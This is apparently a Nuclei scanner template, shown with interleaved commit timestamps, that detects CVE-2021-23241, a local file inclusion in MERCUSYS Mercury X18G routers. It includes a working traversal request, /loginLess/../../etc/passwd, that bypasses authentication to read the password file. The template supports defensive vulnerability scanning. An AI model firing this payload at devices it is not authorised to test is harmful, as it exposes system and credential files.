2021-07-20 08:52:10 +00:00
id : CVE-2021-23241
info :
2022-07-26 13:45:11 +00:00
name : MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
2021-07-20 08:52:10 +00:00
author : daffainfo
severity : medium
2022-07-26 13:45:11 +00:00
description : MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
2021-08-18 11:37:49 +00:00
reference :
2021-07-20 08:55:37 +00:00
- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
2022-05-17 09:18:12 +00:00
- https://www.mercusys.com/en/
- https://www.mercurycom.com.cn/product-521-1.html
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-23241
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-23241
cwe-id : CWE-22
2023-10-14 11:27:55 +00:00
epss-score : 0.00365
2024-03-23 09:28:19 +00:00
epss-percentile : 0.71874
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : mercusys
product : mercury_x18g_firmware
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,iot,lfi,router,mercusys
2021-07-20 08:52:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-20 08:52:10 +00:00
- method : GET
path :
- "{{BaseURL}}/loginLess/../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
2023-07-11 19:49:27 +00:00
part : body
2021-07-20 08:52:10 +00:00
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-07-20 10:30:00 +00:00
2021-07-20 08:52:10 +00:00
- type : status
status :
- 200
2024-01-30 06:46:18 +00:00
# digest: 4a0a00473045022100e27843448fe355528b223c229c4990136292da3b9d228ec57fad2457da8a327502202f918b5d468c0ad30a3bd458ad9122f783b6c7b1268b4b2308bdf3b4d950ad2a:922c64590222798bb761d5b6d8e72950